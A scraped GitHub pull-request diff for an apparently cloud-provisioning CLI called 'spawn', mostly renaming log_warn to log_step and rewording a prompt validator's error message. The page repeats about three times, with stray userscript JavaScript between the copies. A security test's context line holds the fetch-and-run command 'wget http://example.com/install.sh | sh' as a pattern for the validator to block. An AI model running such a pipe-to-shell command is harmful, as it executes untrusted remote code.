Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions cli/src/__tests__/security.test.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -182,8 +182,8 @@ wget http://example.com/install.sh | sh
validatePrompt("Run $(echo test)");
throw new Error("Expected validatePrompt to throw");
} catch (e: any) {
expect(e.message).toContain("prompt-file");
expect(e.message).toContain("spawn");
expect(e.message).toContain("false positive");
expect(e.message).toContain("rephrasing");
}
});

Expand Down
5 changes: 2 additions & 3 deletions cli/src/security.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -108,9 +108,8 @@ export function validatePrompt(prompt: string): void {
throw new Error(
`Prompt blocked: contains potentially dangerous pattern (${description}).\n` +
`\n` +
`If this is a false positive, use --prompt-file instead:\n` +
` echo "your prompt" > prompt.txt\n` +
` spawn <agent> <cloud> --prompt-file prompt.txt`
`If this is a false positive, try rephrasing to avoid shell-like syntax\n` +
`(e.g., describe the command instead of writing it literally).`
);
}
}
Expand Down
8 changes: 4 additions & 4 deletions digitalocean/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -31,9 +31,9 @@ verify_server_connectivity "${DO_SERVER_IP}"
wait_for_cloud_init "${DO_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${DO_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -54,7 +54,7 @@ else
fi

# 7. Inject environment variables into ~/.zshrc
log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${DO_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -74,7 +74,7 @@ log_info "Droplet: ${DROPLET_NAME} (ID: ${DO_DROPLET_ID}, IP: ${DO_SERVER_IP})"
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions digitalocean/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -166,7 +166,7 @@ create_server() {
validate_resource_name "$size" || { log_error "Invalid DO_DROPLET_SIZE"; return 1; }
validate_region_name "$region" || { log_error "Invalid DO_REGION"; return 1; }

log_warn "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."
log_step "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -219,7 +219,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local droplet_id="$1"

log_warn "Destroying droplet $droplet_id..."
log_step "Destroying droplet $droplet_id..."
local response
response=$(do_api DELETE "/droplets/$droplet_id")

Expand Down
8 changes: 4 additions & 4 deletions hetzner/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -28,9 +28,9 @@ verify_server_connectivity "${HETZNER_SERVER_IP}"
wait_for_cloud_init "${HETZNER_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${HETZNER_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -50,7 +50,7 @@ else
OPENROUTER_API_KEY=$(get_openrouter_api_key_oauth 5180)
fi

log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${HETZNER_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -70,7 +70,7 @@ log_info "Server: ${SERVER_NAME} (ID: ${HETZNER_SERVER_ID}, IP: ${HETZNER_SERVER
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions hetzner/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -244,7 +244,7 @@ create_server() {
validate_resource_name "$server_type" || { log_error "Invalid HETZNER_SERVER_TYPE"; return 1; }
validate_region_name "$location" || { log_error "Invalid HETZNER_LOCATION"; return 1; }

log_warn "Creating Hetzner server '$name' (type: $server_type, location: $location)..."
log_step "Creating Hetzner server '$name' (type: $server_type, location: $location)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -280,7 +280,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local server_id="$1"

log_warn "Destroying server $server_id..."
log_step "Destroying server $server_id..."
local response
response=$(hetzner_api DELETE "/servers/$server_id")

Expand Down
32 changes: 19 additions & 13 deletions shared/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -15,6 +15,7 @@
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Print colored messages (to stderr so they don't pollute command substitution output)
Expand All@@ -30,6 +31,11 @@ log_error() {
printf '%b\n' "${RED}${1}${NC}" >&2
}

# Progress/status messages (use instead of log_warn for non-warning status updates)
log_step() {
printf '%b\n' "${CYAN}${1}${NC}" >&2
}

# ============================================================
# Configurable timing constants
# ============================================================
Expand DownExpand Up@@ -111,7 +117,7 @@ open_browser() {
elif command -v xdg-open &> /dev/null; then
xdg-open "${url}" </dev/null
else
log_warn "Please open: ${url}"
log_step "Please open: ${url}"
fi
}

Expand DownExpand Up@@ -894,7 +900,7 @@ generate_ssh_key_if_missing() {
if [[ -f "${key_path}" ]]; then
return 0
fi
log_warn "Generating SSH key..."
log_step "Generating SSH key..."
mkdir -p "$(dirname "${key_path}")"
ssh-keygen -t ed25519 -f "${key_path}" -N "" -q
log_info "SSH key generated at ${key_path}"
Expand DownExpand Up@@ -1239,7 +1245,7 @@ verify_agent_installed() {
local verify_arg="${2:---version}"
local agent_name="${3:-${agent_cmd}}"

log_warn "Verifying ${agent_name} installation..."
log_step "Verifying ${agent_name} installation..."

if ! command -v "${agent_cmd}" &> /dev/null; then
log_error "${agent_name} installation failed: command '${agent_cmd}' not found in PATH"
Expand DownExpand Up@@ -1334,7 +1340,7 @@ generic_ssh_wait() {
local max_interval=30
local elapsed_time=0

log_warn "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
log_step "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
# shellcheck disable=SC2086
if ssh ${ssh_opts} "${username}@${ip}" "${test_cmd}" >/dev/null 2>&1; then
Expand All@@ -1346,7 +1352,7 @@ generic_ssh_wait() {
local jitter
jitter=$(calculate_retry_backoff "${interval}" "${max_interval}")

log_warn "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
log_step "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
sleep "${jitter}"

elapsed_time=$((elapsed_time + jitter))
Expand DownExpand Up@@ -1452,7 +1458,7 @@ generic_wait_for_instance() {
local poll_delay="${INSTANCE_STATUS_POLL_DELAY:-5}"

local attempt=1
log_warn "Waiting for ${description} to become ${target_status}..."
log_step "Waiting for ${description} to become ${target_status}..."

while [[ "${attempt}" -le "${max_attempts}" ]]; do
local response
Expand All@@ -1472,7 +1478,7 @@ generic_wait_for_instance() {
fi
fi

log_warn "${description} status: ${status} (${attempt}/${max_attempts})"
log_step "${description} status: ${status} (${attempt}/${max_attempts})"
sleep "${poll_delay}"
attempt=$((attempt + 1))
done
Expand DownExpand Up@@ -1583,8 +1589,8 @@ ensure_api_token_with_provider() {

# Prompt for new token
echo ""
log_warn "${provider_name} API Token Required"
log_warn "Get your token from: ${help_url}"
log_step "${provider_name} API Token Required"
log_step "Get your token from: ${help_url}"
echo ""

local token
Expand DownExpand Up@@ -1708,7 +1714,7 @@ setup_claude_code_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Claude Code..."
log_step "Configuring Claude Code..."

# Create ~/.claude directory
${run_callback} "mkdir -p ~/.claude"
Expand DownExpand Up@@ -1762,7 +1768,7 @@ setup_openclaw_config() {
local upload_callback="${3}"
local run_callback="${4}"

log_warn "Configuring openclaw..."
log_step "Configuring openclaw..."

# Create ~/.openclaw directory
${run_callback} "rm -rf ~/.openclaw && mkdir -p ~/.openclaw"
Expand DownExpand Up@@ -1804,7 +1810,7 @@ setup_continue_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Continue..."
log_step "Configuring Continue..."

# Create ~/.continue directory
${run_callback} "mkdir -p ~/.continue"
Expand DownExpand Up@@ -1938,7 +1944,7 @@ ensure_ssh_key_with_provider() {
fi

# Register the key (provider-specific)
log_warn "Registering SSH key with ${provider_name}..."
log_step "Registering SSH key with ${provider_name}..."
local key_name
key_name="spawn-$(hostname)-$(date +%s)"

Expand Down
14 changes: 7 additions & 7 deletions sprite/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -53,7 +53,7 @@ ensure_sprite_installed() {
done

# sprite not found, install it
log_warn "Installing sprite CLI..."
log_step "Installing sprite CLI..."
if ! curl -fsSL https://sprites.dev/install.sh | bash; then
log_error "Failed to install sprite CLI"
log_error ""
Expand All@@ -80,7 +80,7 @@ ensure_sprite_installed() {
# Check if already authenticated with sprite
ensure_sprite_authenticated() {
if ! sprite org list &> /dev/null; then
log_warn "Logging in to sprite..."
log_step "Logging in to sprite..."
sprite login || true
fi
}
Expand All@@ -107,10 +107,10 @@ ensure_sprite_exists() {
return 0
fi

log_warn "Creating sprite '${sprite_name}'..."
log_step "Creating sprite '${sprite_name}'..."
sprite create -skip-console "${sprite_name}" || true

log_warn "Waiting for sprite to be provisioned..."
log_step "Waiting for sprite to be provisioned..."
local elapsed=0
while [[ "${elapsed}" -lt "${max_wait}" ]]; do
if sprite list 2>/dev/null | grep -qE "^${sprite_name}( |$)"; then
Expand All@@ -131,13 +131,13 @@ verify_sprite_connectivity() {
local max_attempts=${2:-6}
local attempt=1

log_warn "Verifying sprite connectivity..."
log_step "Verifying sprite connectivity..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
if sprite exec -s "${sprite_name}" -- echo "ok" >/dev/null 2>&1; then
log_info "Sprite '${sprite_name}' is ready"
return 0
fi
log_warn "Sprite not ready, retrying (${attempt}/${max_attempts})..."
log_step "Sprite not ready, retrying (${attempt}/${max_attempts})..."
sleep "${SPRITE_CONNECTIVITY_POLL_DELAY}"
((attempt++))
done
Expand DownExpand Up@@ -166,7 +166,7 @@ run_sprite() {
# Configure shell environment (PATH, zsh setup)
setup_shell_environment() {
local sprite_name=${1}
log_warn "Configuring shell environment..."
log_step "Configuring shell environment..."

# Create temp file with path config
local path_temp
Expand Down
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Add copy buttons to all
 blocks\n(function() {\n function addCopyButtons() {\n document.querySelectorAll('pre code').forEach(function(codeBlock) {\n if (codeBlock.parentElement.hasAttribute('data-copy-added')) return;\n codeBlock.parentElement.setAttribute('data-copy-added', 'true');\n \n var btn = document.createElement('button');\n btn.textContent = 'Copy';\n btn.style.cssText = 'position:absolute;top:4px;right:4px;padding:2px 8px;font-size:11px;background:#4ecdc4;border:none;border-radius:4px;color:#1a1a2e;cursor:pointer;opacity:0.7;transition:opacity 0.2s;';\n btn.onmouseover = function() { this.style.opacity = '1'; };\n btn.onmouseout = function() { this.style.opacity = '0.7'; };\n btn.onclick = function() {\n navigator.clipboard.writeText(codeBlock.textContent).then(function() {\n btn.textContent = 'Copied!';\n setTimeout(function() { btn.textContent = 'Copy'; }, 1500);\n });\n };\n codeBlock.parentElement.style.position = 'relative';\n codeBlock.parentElement.appendChild(btn);\n });\n }\n \n addCopyButtons();\n \n // Re-run on dynamic content\n var observer = new MutationObserver(addCopyButtons);\n observer.observe(document.body, { childList: true, subtree: true });\n})();", "Add Copy Buttons to Code Blocks");
}
} catch(__e) { console.warn('[Userscript:Add Copy Buttons to Code Blocks]', __e); }
})();
(function(){
try {
var __m = "github.com";
var __re = new RegExp('^' + "github\\.com" + '
Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions cli/src/__tests__/security.test.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -182,8 +182,8 @@ wget http://example.com/install.sh | sh
validatePrompt("Run $(echo test)");
throw new Error("Expected validatePrompt to throw");
} catch (e: any) {
expect(e.message).toContain("prompt-file");
expect(e.message).toContain("spawn");
expect(e.message).toContain("false positive");
expect(e.message).toContain("rephrasing");
}
});

Expand Down
5 changes: 2 additions & 3 deletions cli/src/security.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -108,9 +108,8 @@ export function validatePrompt(prompt: string): void {
throw new Error(
`Prompt blocked: contains potentially dangerous pattern (${description}).\n` +
`\n` +
`If this is a false positive, use --prompt-file instead:\n` +
` echo "your prompt" > prompt.txt\n` +
` spawn <agent> <cloud> --prompt-file prompt.txt`
`If this is a false positive, try rephrasing to avoid shell-like syntax\n` +
`(e.g., describe the command instead of writing it literally).`
);
}
}
Expand Down
8 changes: 4 additions & 4 deletions digitalocean/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -31,9 +31,9 @@ verify_server_connectivity "${DO_SERVER_IP}"
wait_for_cloud_init "${DO_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${DO_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -54,7 +54,7 @@ else
fi

# 7. Inject environment variables into ~/.zshrc
log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${DO_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -74,7 +74,7 @@ log_info "Droplet: ${DROPLET_NAME} (ID: ${DO_DROPLET_ID}, IP: ${DO_SERVER_IP})"
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions digitalocean/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -166,7 +166,7 @@ create_server() {
validate_resource_name "$size" || { log_error "Invalid DO_DROPLET_SIZE"; return 1; }
validate_region_name "$region" || { log_error "Invalid DO_REGION"; return 1; }

log_warn "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."
log_step "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -219,7 +219,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local droplet_id="$1"

log_warn "Destroying droplet $droplet_id..."
log_step "Destroying droplet $droplet_id..."
local response
response=$(do_api DELETE "/droplets/$droplet_id")

Expand Down
8 changes: 4 additions & 4 deletions hetzner/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -28,9 +28,9 @@ verify_server_connectivity "${HETZNER_SERVER_IP}"
wait_for_cloud_init "${HETZNER_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${HETZNER_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -50,7 +50,7 @@ else
OPENROUTER_API_KEY=$(get_openrouter_api_key_oauth 5180)
fi

log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${HETZNER_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -70,7 +70,7 @@ log_info "Server: ${SERVER_NAME} (ID: ${HETZNER_SERVER_ID}, IP: ${HETZNER_SERVER
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions hetzner/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -244,7 +244,7 @@ create_server() {
validate_resource_name "$server_type" || { log_error "Invalid HETZNER_SERVER_TYPE"; return 1; }
validate_region_name "$location" || { log_error "Invalid HETZNER_LOCATION"; return 1; }

log_warn "Creating Hetzner server '$name' (type: $server_type, location: $location)..."
log_step "Creating Hetzner server '$name' (type: $server_type, location: $location)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -280,7 +280,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local server_id="$1"

log_warn "Destroying server $server_id..."
log_step "Destroying server $server_id..."
local response
response=$(hetzner_api DELETE "/servers/$server_id")

Expand Down
32 changes: 19 additions & 13 deletions shared/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -15,6 +15,7 @@
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color

# Print colored messages (to stderr so they don't pollute command substitution output)
Expand All@@ -30,6 +31,11 @@ log_error() {
printf '%b\n' "${RED}${1}${NC}" >&2
}

# Progress/status messages (use instead of log_warn for non-warning status updates)
log_step() {
printf '%b\n' "${CYAN}${1}${NC}" >&2
}

# ============================================================
# Configurable timing constants
# ============================================================
Expand DownExpand Up@@ -111,7 +117,7 @@ open_browser() {
elif command -v xdg-open &> /dev/null; then
xdg-open "${url}" </dev/null
else
log_warn "Please open: ${url}"
log_step "Please open: ${url}"
fi
}

Expand DownExpand Up@@ -894,7 +900,7 @@ generate_ssh_key_if_missing() {
if [[ -f "${key_path}" ]]; then
return 0
fi
log_warn "Generating SSH key..."
log_step "Generating SSH key..."
mkdir -p "$(dirname "${key_path}")"
ssh-keygen -t ed25519 -f "${key_path}" -N "" -q
log_info "SSH key generated at ${key_path}"
Expand DownExpand Up@@ -1239,7 +1245,7 @@ verify_agent_installed() {
local verify_arg="${2:---version}"
local agent_name="${3:-${agent_cmd}}"

log_warn "Verifying ${agent_name} installation..."
log_step "Verifying ${agent_name} installation..."

if ! command -v "${agent_cmd}" &> /dev/null; then
log_error "${agent_name} installation failed: command '${agent_cmd}' not found in PATH"
Expand DownExpand Up@@ -1334,7 +1340,7 @@ generic_ssh_wait() {
local max_interval=30
local elapsed_time=0

log_warn "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
log_step "Waiting for ${description} to ${ip} (this usually takes 30-90 seconds)..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
# shellcheck disable=SC2086
if ssh ${ssh_opts} "${username}@${ip}" "${test_cmd}" >/dev/null 2>&1; then
Expand All@@ -1346,7 +1352,7 @@ generic_ssh_wait() {
local jitter
jitter=$(calculate_retry_backoff "${interval}" "${max_interval}")

log_warn "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
log_step "Waiting for ${description}... (attempt ${attempt}/${max_attempts}, elapsed ${elapsed_time}s, retry in ${jitter}s)"
sleep "${jitter}"

elapsed_time=$((elapsed_time + jitter))
Expand DownExpand Up@@ -1452,7 +1458,7 @@ generic_wait_for_instance() {
local poll_delay="${INSTANCE_STATUS_POLL_DELAY:-5}"

local attempt=1
log_warn "Waiting for ${description} to become ${target_status}..."
log_step "Waiting for ${description} to become ${target_status}..."

while [[ "${attempt}" -le "${max_attempts}" ]]; do
local response
Expand All@@ -1472,7 +1478,7 @@ generic_wait_for_instance() {
fi
fi

log_warn "${description} status: ${status} (${attempt}/${max_attempts})"
log_step "${description} status: ${status} (${attempt}/${max_attempts})"
sleep "${poll_delay}"
attempt=$((attempt + 1))
done
Expand DownExpand Up@@ -1583,8 +1589,8 @@ ensure_api_token_with_provider() {

# Prompt for new token
echo ""
log_warn "${provider_name} API Token Required"
log_warn "Get your token from: ${help_url}"
log_step "${provider_name} API Token Required"
log_step "Get your token from: ${help_url}"
echo ""

local token
Expand DownExpand Up@@ -1708,7 +1714,7 @@ setup_claude_code_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Claude Code..."
log_step "Configuring Claude Code..."

# Create ~/.claude directory
${run_callback} "mkdir -p ~/.claude"
Expand DownExpand Up@@ -1762,7 +1768,7 @@ setup_openclaw_config() {
local upload_callback="${3}"
local run_callback="${4}"

log_warn "Configuring openclaw..."
log_step "Configuring openclaw..."

# Create ~/.openclaw directory
${run_callback} "rm -rf ~/.openclaw && mkdir -p ~/.openclaw"
Expand DownExpand Up@@ -1804,7 +1810,7 @@ setup_continue_config() {
local upload_callback="${2}"
local run_callback="${3}"

log_warn "Configuring Continue..."
log_step "Configuring Continue..."

# Create ~/.continue directory
${run_callback} "mkdir -p ~/.continue"
Expand DownExpand Up@@ -1938,7 +1944,7 @@ ensure_ssh_key_with_provider() {
fi

# Register the key (provider-specific)
log_warn "Registering SSH key with ${provider_name}..."
log_step "Registering SSH key with ${provider_name}..."
local key_name
key_name="spawn-$(hostname)-$(date +%s)"

Expand Down
14 changes: 7 additions & 7 deletions sprite/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -53,7 +53,7 @@ ensure_sprite_installed() {
done

# sprite not found, install it
log_warn "Installing sprite CLI..."
log_step "Installing sprite CLI..."
if ! curl -fsSL https://sprites.dev/install.sh | bash; then
log_error "Failed to install sprite CLI"
log_error ""
Expand All@@ -80,7 +80,7 @@ ensure_sprite_installed() {
# Check if already authenticated with sprite
ensure_sprite_authenticated() {
if ! sprite org list &> /dev/null; then
log_warn "Logging in to sprite..."
log_step "Logging in to sprite..."
sprite login || true
fi
}
Expand All@@ -107,10 +107,10 @@ ensure_sprite_exists() {
return 0
fi

log_warn "Creating sprite '${sprite_name}'..."
log_step "Creating sprite '${sprite_name}'..."
sprite create -skip-console "${sprite_name}" || true

log_warn "Waiting for sprite to be provisioned..."
log_step "Waiting for sprite to be provisioned..."
local elapsed=0
while [[ "${elapsed}" -lt "${max_wait}" ]]; do
if sprite list 2>/dev/null | grep -qE "^${sprite_name}( |$)"; then
Expand All@@ -131,13 +131,13 @@ verify_sprite_connectivity() {
local max_attempts=${2:-6}
local attempt=1

log_warn "Verifying sprite connectivity..."
log_step "Verifying sprite connectivity..."
while [[ "${attempt}" -le "${max_attempts}" ]]; do
if sprite exec -s "${sprite_name}" -- echo "ok" >/dev/null 2>&1; then
log_info "Sprite '${sprite_name}' is ready"
return 0
fi
log_warn "Sprite not ready, retrying (${attempt}/${max_attempts})..."
log_step "Sprite not ready, retrying (${attempt}/${max_attempts})..."
sleep "${SPRITE_CONNECTIVITY_POLL_DELAY}"
((attempt++))
done
Expand DownExpand Up@@ -166,7 +166,7 @@ run_sprite() {
# Configure shell environment (PATH, zsh setup)
setup_shell_environment() {
local sprite_name=${1}
log_warn "Configuring shell environment..."
log_step "Configuring shell environment..."

# Create temp file with path config
local path_temp
Expand Down
, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Force GitHub README to respect dark mode\n(function() {\n var style = document.createElement('style');\n style.textContent = '\n .markdown-body {\n color-scheme: dark light;\n }\n .markdown-body pre { background: #161b22 !important; }\n .markdown-body code { background: rgba(110, 118, 129, 0.4) !important; }\n .markdown-body table th, .markdown-body table td { border-color: #30363d !important; }\n .markdown-body img { background: #0d1117; }\n .markdown-body blockquote { border-left-color: #8b949e; }\n .markdown-body hr { border-color: #30363d; }\n ';\n document.head.appendChild(style);\n})();", "GitHub Dark Mode README Fix"); } } catch(__e) { console.warn('[Userscript:GitHub Dark Mode README Fix]', __e); } })(); (function(){ try { var __m = "*"; var __re = new RegExp('^' + ".*" + '
Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions cli/src/__tests__/security.test.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -182,8 +182,8 @@ wget http://example.com/install.sh | sh
validatePrompt("Run $(echo test)");
throw new Error("Expected validatePrompt to throw");
} catch (e: any) {
expect(e.message).toContain("prompt-file");
expect(e.message).toContain("spawn");
expect(e.message).toContain("false positive");
expect(e.message).toContain("rephrasing");
}
});

Expand Down
5 changes: 2 additions & 3 deletions cli/src/security.ts
Original file line numberDiff line numberDiff line change
Expand Up@@ -108,9 +108,8 @@ export function validatePrompt(prompt: string): void {
throw new Error(
`Prompt blocked: contains potentially dangerous pattern (${description}).\n` +
`\n` +
`If this is a false positive, use --prompt-file instead:\n` +
` echo "your prompt" > prompt.txt\n` +
` spawn <agent> <cloud> --prompt-file prompt.txt`
`If this is a false positive, try rephrasing to avoid shell-like syntax\n` +
`(e.g., describe the command instead of writing it literally).`
);
}
}
Expand Down
8 changes: 4 additions & 4 deletions digitalocean/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -31,9 +31,9 @@ verify_server_connectivity "${DO_SERVER_IP}"
wait_for_cloud_init "${DO_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${DO_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -54,7 +54,7 @@ else
fi

# 7. Inject environment variables into ~/.zshrc
log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${DO_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
"ANTHROPIC_BASE_URL=https://openrouter.ai/api" \
Expand All@@ -74,7 +74,7 @@ log_info "Droplet: ${DROPLET_NAME} (ID: ${DO_DROPLET_ID}, IP: ${DO_SERVER_IP})"
echo ""

# 9. Start Claude Code interactively
log_warn "Starting Claude Code..."
log_step "Starting Claude Code..."
sleep 1
clear
interactive_session "${DO_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && source ~/.zshrc && claude"
4 changes: 2 additions & 2 deletions digitalocean/lib/common.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -166,7 +166,7 @@ create_server() {
validate_resource_name "$size" || { log_error "Invalid DO_DROPLET_SIZE"; return 1; }
validate_region_name "$region" || { log_error "Invalid DO_REGION"; return 1; }

log_warn "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."
log_step "Creating DigitalOcean droplet '$name' (size: $size, region: $region)..."

# Get all SSH key IDs
local ssh_keys_response
Expand DownExpand Up@@ -219,7 +219,7 @@ interactive_session() { ssh_interactive_session "$@"; }
destroy_server() {
local droplet_id="$1"

log_warn "Destroying droplet $droplet_id..."
log_step "Destroying droplet $droplet_id..."
local response
response=$(do_api DELETE "/droplets/$droplet_id")

Expand Down
8 changes: 4 additions & 4 deletions hetzner/claude.sh
Original file line numberDiff line numberDiff line change
Expand Up@@ -28,9 +28,9 @@ verify_server_connectivity "${HETZNER_SERVER_IP}"
wait_for_cloud_init "${HETZNER_SERVER_IP}" 60

# 5. Verify Claude Code is installed (fallback to manual install)
log_warn "Verifying Claude Code installation..."
log_step "Verifying Claude Code installation..."
if ! run_server "${HETZNER_SERVER_IP}" "export PATH=\$HOME/.local/bin:\$PATH && command -v claude" >/dev/null 2>&1; then
log_warn "Claude Code not found, installing manually..."
log_step "Claude Code not found, installing manually..."
run_server "${HETZNER_SERVER_IP}" "curl -fsSL https://claude.ai/install.sh | bash"
fi

Expand All@@ -50,7 +50,7 @@ else
OPENROUTER_API_KEY=$(get_openrouter_api_key_oauth 5180)
fi

log_warn "Setting up environment variables..."
log_step "Setting up environment variables..."
inject_env_vars_ssh "${HETZNER_SERVER_IP}" upload_file run_server \
"OPENROUTER_API_KEY=${OPENROUTER_API_KEY}" \
